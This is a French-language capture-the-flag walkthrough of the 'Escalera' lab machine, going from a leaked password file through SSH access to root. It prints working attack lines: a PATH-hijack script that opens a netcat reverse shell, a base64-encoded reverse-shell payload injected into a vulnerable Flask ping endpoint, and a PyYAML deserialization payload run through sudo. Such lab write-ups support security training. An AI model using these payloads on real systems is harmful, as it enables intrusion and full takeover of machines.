Post

Escalera

Escalera est une machine dont l'accès initiale est obtenu grâce a un fichier texte contenant les information de connexion exposer par le DevOps dans le répertoire web, l'élévation de privilège est réalisé grâce a l'exploitation binaire, l'exploitation web ainsi l'utilisation d'un fichier yaml malveillant avec la permission sudo pour devenir root

Escalera

Reconnaissance - IP Cible - scan de ports

nous faire la découverte d’hôte pour trouver l’IP de la machine cible

1
2
3
4
5
6
7
8
9
┌──(d4fl0n㉿kali)-[~]
└─$ sudo arp-scan -l    
[sudo] password for d4fl0n: 
Interface: eth0, type: EN10MB, MAC: 08:00:27:4a:c6:8f, IPv4: 10.0.2.15
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1	52:54:00:12:35:00	QEMU
10.0.2.3	52:54:00:12:35:00	QEMU
10.0.2.2	08:00:27:7a:30:d4	PCS Systemtechnik GmbH
10.0.2.123	08:00:27:9e:16:1a	PCS Systemtechnik GmbH

l’IP cible est 10.0.2.123

faisons le balayage des ports sur la plage 1-65535

1
2
3
4
5
6
7
8
9
10
┌──(d4fl0n㉿kali)-[~]
└─$ nmap -p- 10.0.2.123                 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-31 10:24 -0400
Nmap scan report for 10.0.2.123
Host is up (0.0052s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:9E:16:1A (Oracle VirtualBox virtual NIC)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(d4fl0n㉿kali)-[~]
└─$ nmap -p 22,80 -A -O -sCV 10.0.2.123
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-31 10:26 -0400
Nmap scan report for 10.0.2.123
Host is up (0.022s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.28.3 (Ubuntu)
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.28.3 (Ubuntu)
MAC Address: 08:00:27:9E:16:1A (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Android 5 - 10 (Linux 3.4 - 3.18) (93%), Linux 2.6.32 (93%), Google Chromecast or Roku TV (Linux 4.9) (93%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Linux 5.10 - 5.19 (93%), Nintendo Switch (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nous avons 2 ports ouvert 22 pour le ssh et 80 pour le http

Enumération web

faisons de l’énumération web

1
2
3
4
5
6
7
8
9
┌──(d4fl0n㉿kali)-[~]
└─$ curl http://10.0.2.123               
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.28.3 (Ubuntu)</center>
</body>
</html>
1
2
3
4
5
6
7
8
┌──(d4fl0n㉿kali)-[~]
└─$ curl http://10.0.2.123 -I
HTTP/1.1 403 Forbidden
Server: nginx/1.28.3 (Ubuntu)
Date: Sat, 31 Oct 2026 23:22:54 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive

nous avons le message forbidden dons nous n’avons pas la permission

** énumération des fichiers et répertoires

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(d4fl0n㉿kali)-[~]
└─$ dirsearch -u http://10.0.2.123 -x 403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/d4fl0n/reports/http_10.0.2.123/_26-10-31_10-25-28.txt

Target: http://10.0.2.123/

[10:25:28] Starting: 
[10:28:11] 200 -   23B  - /pass.txt

Task Completed

nous avons trouver un fichier pass.txt

récupérons le contenu de fichier txt

1
2
3
┌──(d4fl0n㉿kali)-[~]
└─$ curl http://10.0.2.123/pass.txt     
facil:Escal0nFacil2026

nous avons trouver une combinaison de nom d’utilisateur mot et mot de passe

essayons la connexion au ssh avec les infos trouver

Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌──(d4fl0n㉿kali)-[~]
└─$ ssh facil@10.0.2.123  
(facil@10.0.2.123) Password: 
Welcome to Ubuntu 26.04.1 LTS (GNU/Linux 7.0.0-38-generic x86_64)

 * Documentation:  https://docs.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Oct 24 10:07:56 AM UTC 2026

  System load:             0.32
  Usage of /:              17.2% of 19.51GB
  Memory usage:            26%
  Swap usage:              0%
  Processes:               108
  Users logged in:         0
  IPv4 address for enp0s3: 192.168.1.133
  IPv6 address for enp0s3: 2a0c:5a83:9104:f400:a00:27ff:fe5f:445c

 * Canonical Workshop gives developers fast, composable, reproducible, and
   secure developer environments that are perfect for agentic workflows.

   https://ubuntu.com/workshop

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

   ______ _____ _____          _      ______ _____            
  |  ____/ ____/ ____|   /\   | |    |  ____|  __ \     /\    
  | |__ | (___| |       /  \  | |    | |__  | |__) |   /  \   
  |  __| \___ \ |      / /\ \ | |    |  __| |  _  /   / /\ \  
  | |________) | |____/ ____ \| |____| |____| | \ \  / ____ \ 
  |______|_____/\_____/_/    \_\______|______|_|  \_\/_/    \_\
                                                              
==============================================================
               MÁQUINA ESCALERA - THEHACKERLABS
==============================================================

facil@TheHackersLabs-Escalera:~$ id
uid=1001(facil) gid=1001(facil) groups=1001(facil)
facil@TheHackersLabs-Escalera:~$ 

nous somme connecté en tant que l’utilisateur facil

Post exploitation

énumérons les utilisateurs système

1
2
3
4
5
facil@TheHackersLabs-Escalera:~$ getent passwd | grep -i bash
root:x:0:0:root:/root:/bin/bash
facil:x:1001:1001::/home/facil:/bin/bash
medio:x:1002:1002::/home/medio:/bin/bash
dificil:x:1003:1003::/home/dificil:/bin/bash

nous avons 4 utilisateurs avec le programme bash y compris l’utilisateur root

** énumérons les répertoire système

nous avons trouver 2 dossier dans /opt

1
2
3
4
5
6
facil@TheHackersLabs-Escalera:/opt$ ls -la
total 16
drwxr-xr-x  4 root    root    4096 Oct  5 09:16 .
drwxr-xr-x 20 root    root    4096 Oct  5 06:22 ..
drwxr-xr-x  2 root    root    4096 Oct  5 09:16 admin
drwxr-xr-x  2 dificil dificil 4096 Oct  5 09:02 escalon_dificil

dans le 2e dossier nous avons trouver

1
2
3
4
5
6
7
facil@TheHackersLabs-Escalera:/opt/escalon_dificil$ ls -la
total 16
drwxr-xr-x 2 dificil dificil 4096 Oct  5 09:02 .
drwxr-xr-x 4 root    root    4096 Oct  5 09:16 ..
-rw-r--r-- 1 dificil dificil 2649 Oct  5 10:48 app.py
-rw------- 1 dificil dificil   95 Oct  5 09:02 config.py
facil@TheHackersLabs-Escalera:/opt/escalon_dificil$

nous avons juste la permission pour lire le fichier app.py

lisons ce fichier pour voir son contenu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
facil@TheHackersLabs-Escalera:/opt/escalon_dificil$ cat app.py 
from flask import Flask, request, render_template_string
import subprocess
import re

app = Flask(__name__)
VALID_TOKEN = "M3di0T0k3nS3ss10n9841X"

HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Servicio de Diagnóstico</title>
    <style>
        body { font-family: monospace; background: #0f0f0f; color: #ddd; padding: 40px; }
        .box { max-width: 600px; margin: auto; border: 1px solid #333; padding: 20px; border-radius: 5px; background: #161616; }
        input[type=text] { width: 90%; padding: 8px; margin-bottom: 12px; background: #222; border: 1px solid #444; color: #fff; font-family: monospace; }
        button { padding: 8px 18px; background: #333; color: #fff; border: 1px solid #555; cursor: pointer; }
        button:hover { background: #444; }
        pre { background: #000; padding: 12px; border: 1px solid #222; color: #00ff66; overflow-x: auto; margin-top: 15px; }
    </style>
</head>
<body>
    <div class="box">
        <h3>Diagnóstico de Red</h3>
        <form method="GET" action="/diagnostico">
            <input type="text" name="host" placeholder="Host o IP" value=""><br>
            <button type="submit">Enviar</button>
        </form>
        
    </div>
</body>
</html>
"""

@app.route("/")
def index():
    return render_template_string(HTML_TEMPLATE, host="", output="")

@app.route("/diagnostico")
def diagnostico():
    # El token se recibe EXCLUSIVAMENTE por cabecera HTTP (X-Auth-Token o Authorization)
    token = request.headers.get("X-Auth-Token") or request.headers.get("Authorization", "")
    token = token.replace("Bearer ", "").strip()

    if token != VALID_TOKEN:
        return render_template_string(HTML_TEMPLATE, host="", output="Acceso no autorizado"), 401

    host = request.args.get("host", "")
    if not host:
        return render_template_string(HTML_TEMPLATE, host="", output="")

    # WAF: Si se detecta un intento sospechoso, indicar únicamente: WAF activado
    if re.search(r"[;&]|nc\b", host):
        return render_template_string(HTML_TEMPLATE, host="", output="WAF activado")

    try:
        cmd = f"ping -c 1 {host}"
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=5).decode(errors="replace")
    except subprocess.CalledProcessError as e:
        output = e.output.decode(errors="replace")
    except Exception as e:
        output = str(e)

    return render_template_string(HTML_TEMPLATE, host=host, output=output)

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=8080)

il s’agit d’un fichier pour démarrer le un site web de diagnostique sur l’adresse local et sur le port 8080

1
2
3
4
5
6
7
8
9
10
11
facil@TheHackersLabs-Escalera:/opt/escalon_dificil$ ss -antp
State                          Recv-Q                      Send-Q                                           Local Address:Port                                            Peer Address:Port                      Process                      
LISTEN                         0                           4096                                             127.0.0.53%lo:53                                                   0.0.0.0:*                                                      
LISTEN                         0                           128                                                  127.0.0.1:8080                                                 0.0.0.0:*                                                      
LISTEN                         0                           4096                                                   0.0.0.0:22                                                   0.0.0.0:*                                                      
LISTEN                         0                           511                                                    0.0.0.0:80                                                   0.0.0.0:*                                                      
LISTEN                         0                           4096                                                127.0.0.54:53                                                   0.0.0.0:*                                                      
TIME-WAIT                      0                           0                                                    127.0.0.1:35586                                              127.0.0.1:80                                                     
ESTAB                          0                           36                                                  10.0.2.123:22                                                 10.0.2.15:54982                                                  
LISTEN                         0                           4096                                                      [::]:22                                                      [::]:*                                                      
LISTEN                         0                           511                                                       [::]:80                                                      [::]:*        

d’après la sortie nous avons belle est bien le service 127.0.0.1:8080 qui est up

1
2
3
4
facil@TheHackersLabs-Escalera:~$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080 after 11 ms: Could not connect to server
facil@TheHackersLabs-Escalera:~$ curl http://localhost:8080
curl: (7) Failed to connect to localhost port 8080 after 18 ms: Could not connect to server

la sortie nous informe que nous ne pouvons pas se connecter pendant plusieurs tentative

donc forcement y’a une restriction ou un firewall qui nous bloque

** énumérons les permissions

1
2
3
4
facil@TheHackersLabs-Escalera:~$ find / -perm -4000 2>/dev/null
. . . .
/usr/local/bin/escalon_medio
. . . .
1
2
3
facil@TheHackersLabs-Escalera:~$ ls -l /usr/local/bin/escalon_medio
-rwsr-xr-x 1 medio medio 16136 Oct  5 10:12 /usr/local/bin/escalon_medio
facil@TheHackersLabs-Escalera:~$ 

c’est programme appartient a l’utilisateur medio avec un SUID, nous avons la permission d’exécuté le programme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
facil@TheHackersLabs-Escalera:~$ strings /usr/local/bin/escalon_medio
/lib64/ld-linux-x86-64.so.2
system
setresgid
setresuid
__libc_start_main
__cxa_finalize
getegid
geteuid
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
uptime
. . . .

il y’a le programme uptime qui est appelé dans le binaire sans chemin absolue donc nous pouvons faire du PATH-HIJACKING en créer notre uptime malveillant et en détournant le chemin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
facil@TheHackersLabs-Escalera:~$ echo '#!/bin/bash' > uptime
facil@TheHackersLabs-Escalera:~$ ls
uptime
facil@TheHackersLabs-Escalera:~$ nano uptime
facil@TheHackersLabs-Escalera:~$ cat uptime 
#!/bin/bash


busybox nc 10.0.2.15 4444 -e bash
 
facil@TheHackersLabs-Escalera:~$ which busybox
/usr/bin/busybox
facil@TheHackersLabs-Escalera:~$ nano uptime 
facil@TheHackersLabs-Escalera:~$ ls
uptime
facil@TheHackersLabs-Escalera:~$ export PATH=/home/facil/:$PATH
1
2
3
facil@TheHackersLabs-Escalera:~$ chmod +x uptime 
facil@TheHackersLabs-Escalera:~$ /usr/local/bin/escalon_medio

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(d4fl0n㉿kali)-[/tmp]
└─$ nc -nvlp 4444    
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.123] 53362
id
uid=1002(medio) gid=1001(facil) groups=1001(facil)
ls
uptime
script -q /dev/null -c bash
medio@TheHackersLabs-Escalera:~$ id
id
uid=1002(medio) gid=1001(facil) groups=1001(facil)
medio@TheHackersLabs-Escalera:~$ 

nous avons obtenu un reverse shell en tant que medio

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
medio@TheHackersLabs-Escalera:/tmp$ ./pspy32 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
. . . .
2026/11/01 00:04:41 CMD: UID=1003  PID=772    | /usr/bin/python3 /opt/escalon_dificil/app.py 
. . . .

le site web appartient a l’utilisateur qui a le UID=1003 qui l’utilisateur dificil

essayons de visité site encore le site

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
medio@TheHackersLabs-Escalera:/home/medio$ curl 127.0.0.1:8080

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Servicio de Diagnóstico</title>
    <style>
        body { font-family: monospace; background: #0f0f0f; color: #ddd; padding: 40px; }
        .box { max-width: 600px; margin: auto; border: 1px solid #333; padding: 20px; border-radius: 5px; background: #161616; }
        input[type=text] { width: 90%; padding: 8px; margin-bottom: 12px; background: #222; border: 1px solid #444; color: #fff; font-family: monospace; }
        button { padding: 8px 18px; background: #333; color: #fff; border: 1px solid #555; cursor: pointer; }
        button:hover { background: #444; }
        pre { background: #000; padding: 12px; border: 1px solid #222; color: #00ff66; overflow-x: auto; margin-top: 15px; }
    </style>
</head>
<body>
    <div class="box">
        <h3>Diagnóstico de Red</h3>
        <form method="GET" action="/diagnostico">
            <input type="text" name="host" placeholder="Host o IP" value=""><br>
            <button type="submit">Enviar</button>
        </form>
        
    </div>
</body>
</html>

cette fois-ci nous avons eu une réponse

lisons le fichier appy.py pour comprendre le fonctionnement du site web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
medio@TheHackersLabs-Escalera:~$ cat /opt/escalon_dificil/app.py 
from flask import Flask, request, render_template_string
import subprocess
import re

app = Flask(__name__)
VALID_TOKEN = "M3di0T0k3nS3ss10n9841X"

HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Servicio de Diagnóstico</title>
    <style>
        body { font-family: monospace; background: #0f0f0f; color: #ddd; padding: 40px; }
        .box { max-width: 600px; margin: auto; border: 1px solid #333; padding: 20px; border-radius: 5px; background: #161616; }
        input[type=text] { width: 90%; padding: 8px; margin-bottom: 12px; background: #222; border: 1px solid #444; color: #fff; font-family: monospace; }
        button { padding: 8px 18px; background: #333; color: #fff; border: 1px solid #555; cursor: pointer; }
        button:hover { background: #444; }
        pre { background: #000; padding: 12px; border: 1px solid #222; color: #00ff66; overflow-x: auto; margin-top: 15px; }
    </style>
</head>
<body>
    <div class="box">
        <h3>Diagnóstico de Red</h3>
        <form method="GET" action="/diagnostico">
            <input type="text" name="host" placeholder="Host o IP" value=""><br>
            <button type="submit">Enviar</button>
        </form>
        
    </div>
</body>
</html>
"""

@app.route("/")
def index():
    return render_template_string(HTML_TEMPLATE, host="", output="")

@app.route("/diagnostico")
def diagnostico():
    # El token se recibe EXCLUSIVAMENTE por cabecera HTTP (X-Auth-Token o Authorization)
    token = request.headers.get("X-Auth-Token") or request.headers.get("Authorization", "")
    token = token.replace("Bearer ", "").strip()

    if token != VALID_TOKEN:
        return render_template_string(HTML_TEMPLATE, host="", output="Acceso no autorizado"), 401

    host = request.args.get("host", "")
    if not host:
        return render_template_string(HTML_TEMPLATE, host="", output="")

    # WAF: Si se detecta un intento sospechoso, indicar únicamente: WAF activado
    if re.search(r"[;&]|nc\b", host):
        return render_template_string(HTML_TEMPLATE, host="", output="WAF activado")

    try:
        cmd = f"ping -c 1 {host}"
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=5).decode(errors="replace")
    except subprocess.CalledProcessError as e:
        output = e.output.decode(errors="replace")
    except Exception as e:
        output = str(e)

    return render_template_string(HTML_TEMPLATE, host=host, output=output)

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=8080)
medio@TheHackersLabs-Escalera:~$ 

le WAF bloque ; & et nc

1
2
    if re.search(r"[;&]|nc\b", host):
        return render_template_string(HTML_TEMPLATE, host="", output="WAF activado")

partie du code vulnérable a l’exécution du code

1
2
3
4
5
6
7
8
        cmd = f"ping -c 1 {host}"
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=5).decode(errors="replace")
    except subprocess.CalledProcessError as e:
        output = e.output.decode(errors="replace")
    except Exception as e:
        output = str(e)

    return render_template_string(HTML_TEMPLATE, host=host, output=output)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
medio@TheHackersLabs-Escalera:~$ curl http://127.0.0.1:8080/diagnostico?host=127.0.0.1 -H "X-Auth-Token: M3di0T0k3nS3ss10n9841X"

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Servicio de Diagnóstico</title>
    <style>
        body { font-family: monospace; background: #0f0f0f; color: #ddd; padding: 40px; }
        .box { max-width: 600px; margin: auto; border: 1px solid #333; padding: 20px; border-radius: 5px; background: #161616; }
        input[type=text] { width: 90%; padding: 8px; margin-bottom: 12px; background: #222; border: 1px solid #444; color: #fff; font-family: monospace; }
        button { padding: 8px 18px; background: #333; color: #fff; border: 1px solid #555; cursor: pointer; }
        button:hover { background: #444; }
        pre { background: #000; padding: 12px; border: 1px solid #222; color: #00ff66; overflow-x: auto; margin-top: 15px; }
    </style>
</head>
<body>
    <div class="box">
        <h3>Diagnóstico de Red</h3>
        <form method="GET" action="/diagnostico">
            <input type="text" name="host" placeholder="Host o IP" value="127.0.0.1"><br>
            <button type="submit">Enviar</button>
        </form>
        
        <pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.026/0.026/0.026/0.000 ms
</pre>
        
    </div>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
medio@TheHackersLabs-Escalera:~$ curl 'http://127.0.0.1:8080/diagnostico?host=127.0.0.1|id' -H "X-Auth-Token: M3di0T0k3nS3ss10n9841X"

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Servicio de Diagnóstico</title>
    <style>
        body { font-family: monospace; background: #0f0f0f; color: #ddd; padding: 40px; }
        .box { max-width: 600px; margin: auto; border: 1px solid #333; padding: 20px; border-radius: 5px; background: #161616; }
        input[type=text] { width: 90%; padding: 8px; margin-bottom: 12px; background: #222; border: 1px solid #444; color: #fff; font-family: monospace; }
        button { padding: 8px 18px; background: #333; color: #fff; border: 1px solid #555; cursor: pointer; }
        button:hover { background: #444; }
        pre { background: #000; padding: 12px; border: 1px solid #222; color: #00ff66; overflow-x: auto; margin-top: 15px; }
    </style>
</head>
<body>
    <div class="box">
        <h3>Diagnóstico de Red</h3>
        <form method="GET" action="/diagnostico">
            <input type="text" name="host" placeholder="Host o IP" value="127.0.0.1|id"><br>
            <button type="submit">Enviar</button>
        </form>
        
        <pre>uid=1003(dificil) gid=1003(dificil) groups=1003(dificil)
</pre>
        
    </div>
</body>
</html>

notre commande a bien été exécuté

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
medio@TheHackersLabs-Escalera:~$ curl 'http://127.0.0.1:8080/diagnostico?host=127.0.0.1|echo+YnVzeWJveCBuYyAxMC4wLjIuMTUgNDQ0NCAtZSBiYXNo|base64+-d|bash' -H "X-Auth-Token: M3di0T0k3nS3ss10n9841X"

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Servicio de Diagnóstico</title>
    <style>
        body { font-family: monospace; background: #0f0f0f; color: #ddd; padding: 40px; }
        .box { max-width: 600px; margin: auto; border: 1px solid #333; padding: 20px; border-radius: 5px; background: #161616; }
        input[type=text] { width: 90%; padding: 8px; margin-bottom: 12px; background: #222; border: 1px solid #444; color: #fff; font-family: monospace; }
        button { padding: 8px 18px; background: #333; color: #fff; border: 1px solid #555; cursor: pointer; }
        button:hover { background: #444; }
        pre { background: #000; padding: 12px; border: 1px solid #222; color: #00ff66; overflow-x: auto; margin-top: 15px; }
    </style>
</head>
<body>
    <div class="box">
        <h3>Diagnóstico de Red</h3>
        <form method="GET" action="/diagnostico">
            <input type="text" name="host" placeholder="Host o IP" value="127.0.0.1|echo YnVzeWJveCBuYyAxMC4wLjIuMTUgNDQ0NCAtZSBiYXNo|base64 -d|bash"><br>
            <button type="submit">Enviar</button>
        </form>
        
        <pre>Command &#39;ping -c 1 127.0.0.1|echo YnVzeWJveCBuYyAxMC4wLjIuMTUgNDQ0NCAtZSBiYXNo|base64 -d|bash&#39; timed out after 5 seconds</pre>
        
    </div>
</body>
</html>

nous avons eu un reverse shell en tant que user dificil

1
2
3
4
5
6
7
┌──(d4fl0n㉿kali)-[~]
└─$ nc -nvlp 4444                                     
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.123] 55806
id
uid=1003(dificil) gid=1003(dificil) groups=1003(dificil)

*** sudo -l

1
2
3
dificil@TheHackersLabs-Escalera:~$ sudo -l
User dificil may run the following commands on TheHackersLabs-Escalera:
    (root) NOPASSWD: /usr/bin/python3 /opt/admin/gestion_sistema.py *
1
2
3
4
5
6
dificil@TheHackersLabs-Escalera:~$ ls -la /opt/admin/
total 16
drwxr-xr-x 2 root root 4096 Oct  5 09:16 .
drwxr-xr-x 4 root root 4096 Oct  5 09:16 ..
-rw-r--r-- 1 root root  113 Oct  5 09:16 config.yml
-rwxr-xr-x 1 root root  302 Oct  5 10:12 gestion_sistema.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dificil@TheHackersLabs-Escalera:/opt/admin$ cat gestion_sistema.py 
#!/usr/bin/env python3
import sys
import os
import yaml

if len(sys.argv) < 2:
    sys.exit(1)

cfg = sys.argv[1]
if not os.path.isfile(cfg):
    sys.exit(1)

try:
    with open(cfg, "r") as f:
        contenido = f.read()
    yaml.load(contenido, Loader=yaml.Loader)
except Exception:
    sys.exit(1)
1
Le script utilise la fonction vulnérable `yaml.load(contenido, Loader=yaml.Loader)` sur un fichier qu'on lui passez en argument

Le chargeur yaml.Loader dans PyYAML permet l’instanciation d’objets Python arbitraires via la désérialisation YAML. Comme nous pouvons spécifier le fichier de configuration de notre choix grâce au joker * de sudo, nous pouvons déclencher une exécution de code arbitraire (RCE) en tant que root.

1
2
3
4
dificil@TheHackersLabs-Escalera:~$ cat << EOF > /tmp/exploit.yml
> !!python/object/apply:os.system
> - "/bin/bash"
> EOF
1
2
3
4
dificil@TheHackersLabs-Escalera:~$ sudo /usr/bin/python3 /opt/admin/gestion_sistema.py /tmp/exploit.yml
root@TheHackersLabs-Escalera:/home/dificil# id
uid=0(root) gid=0(root) groups=0(root)
root@TheHackersLabs-Escalera:/home/dificil# 

flag

1
2
3
4
root@TheHackersLabs-Escalera:~# cat /home/medio/user.txt /root/root.txt 
THL{M3di0St3p892k............}
THL{R00tC1m4Esc4l............}
root@TheHackersLabs-Escalera:~# 
Cet article est sous licence CC BY 4.0 par l'auteur.